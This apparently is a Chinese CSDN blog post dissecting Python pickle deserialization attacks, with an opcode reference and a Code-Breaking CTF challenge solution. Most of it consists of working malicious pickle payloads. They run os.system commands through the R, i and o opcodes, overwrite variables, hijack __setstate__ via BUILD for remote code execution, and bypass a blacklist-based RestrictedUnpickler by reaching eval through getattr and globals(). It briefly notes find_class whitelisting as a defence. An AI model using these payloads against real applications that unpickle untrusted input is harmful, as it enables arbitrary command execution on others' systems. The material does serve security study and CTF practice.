pickle反序列化简析

本文详细探讨了Python pickle的底层指令与恶意操作,包括覆盖变量、利用os.system执行命令、构建对象的__setstate__方法进行远程代码执行(RCE)。通过实例展示了如何构造opcode来绕过限制,以及在实际场景中的应用和安全防范措施。
摘要由CSDN通过智能技术生成

v0

执行whoami/calc

pickle.loads(b"""cos
system
(S'calc'
tR.""")
#对应os.system("calc")
pickle.loads(b"""c__builtin__
getattr
(c__builtin__
__import__
(S'os'
tRS'system'
tR(S'whoami'
tR.""")
#对应getattr(import("os"),"system")("whoami")

变量覆盖
覆盖非全局变量,dict型

secrret={"admin":123}
pickle.loads(b"""c__builtin__
getattr
(c__main__
secrret
S'update'
tR((S'admin'
I100
dtR.
""")
print(secrret)
#对应getattr(secrret,"update")({'admin':100})

覆盖全局变量,str型

#secret.py
secret= "aaaaa"
#main.py
pickle.loads(b"""c__main__
secret
(S'secret'
S'ccccc'
db.""")
print(secret.secret)

简单归纳一下常用的opcode

c+module+\n+name 引入某个模块下某个属性
R__reduce__用来执行函数
(MARK,标志d t l的开头
d t l闭合直到最近的MARK的dict tuple list
) ] }入栈一个空t l d
I int+值
Sstr+值
b用栈中第一个元素给第二元素赋值(和入栈顺序相反)
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
a 将栈的第一个元素append到第二个元素(列表)中
.结束标志

v3

pickle3版本的opcode(指令码)示例:

b’\x80\x03X\x04\x00\x00\x00abcdq\x00.’ ​
\x80:协议头声明
\x03:协议版本
\x04\x00\x00\x00:数据长度:4
abcd:数据
q:储存栈顶的字符串长度:一个字节(即\x00)
\x00:栈顶位置
.:数据截止

v4

#secret.py
KEY = 'aaaaa'


class User:
    def __init__(self):
        self.msg = None
        self.password = None

    pass

#main.py
import pickle
import secret

print(pickle.dumps((secret.User())))
pickle.loads(b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x06secret\x94\x8c\x04User\x94\x93\x94)\x81\x94}\x94(\x8c\x03msg\x94\x8c\x06secret\x94\x8c\x03KEY\x94\x93\x94\x8c\x08password\x94Nub.')

\8c\xx+字符串,xx为长度
\x94将前面的数据存入内存,可以看做是一段的结束
\x93使用栈顶两个元素,获取module.name
\x81新建对象

禁止R

使用i o执行命令
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

import pickle

pickle.loads(b"""(S'whoami'
ios
system
.
""")

pickle.loads(b"""(cos
system
S'whoami'
o.
""")

使用build指令

通过BUILD指令与C指令的结合,我们可以把一个对象改写为os.system或其他函数
假设某个类原先没有__setstate__方法,我们可以利用{‘__setstate__’: os.system}来BUILE这个对象
BUILD指令执行时,因为没有__setstate__方法,所以就执行update,这个对象的_setstate__方法就改为了我们指定的os.system
接下来利用"ls /"来再次BUILD这个对象,则会执行setstate(“ls /”),而此时__setstate__已经被我们设置为os.system,因此实现RCE.

import pickle


class user():
    def __init__(self):
        pass

pickle.loads(b"c__main__\nuser\n)\x81}(S'__setstate__'\ncos\nsystem\nub.")
pickle.loads(b"c__main__\nuser\n)\x81}(S'__setstate__'\ncos\nsystem\nubVcalc\nb.")

\x81用于创建新对象

find_class

设置find_class可以限制被反序列化的类
例如

safe_builtins = {'range','complex','set','frozenset','slice',}

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))

pker工具

https://github.com/eddieivan01/pker

注意

windows和linux下pickle序列化结果格式不同

Code Breaking picklecode

这里只研究反序列化的部分

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

可以看到getattr没有被限制,所以可以构造builtins.getattr执行函数
因为不能执行eval,我们可以通过builtins.getattr(builtins, 'eval')(os.system('calc'))来获取eval函数并执行命令
所以这里唯一的问题就是如何得到builtins对象——我们可以通过globals()从上下文中获得
因为builtins.globals()是dict类型
我们通过print(builtins.globals().get("builtins"))
builtins.dict.get(builtins.globals(),'builtins')可得到builtins对象
以getattr的形式调用为print(builtins.getattr(dict,"get")(builtins.globals(),'builtins'))
写成opcode为

b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
.'''

最后将得到的结果通过p1存入memo
完整的执行命令opcode:

b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("calc")'
tR.
'''
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值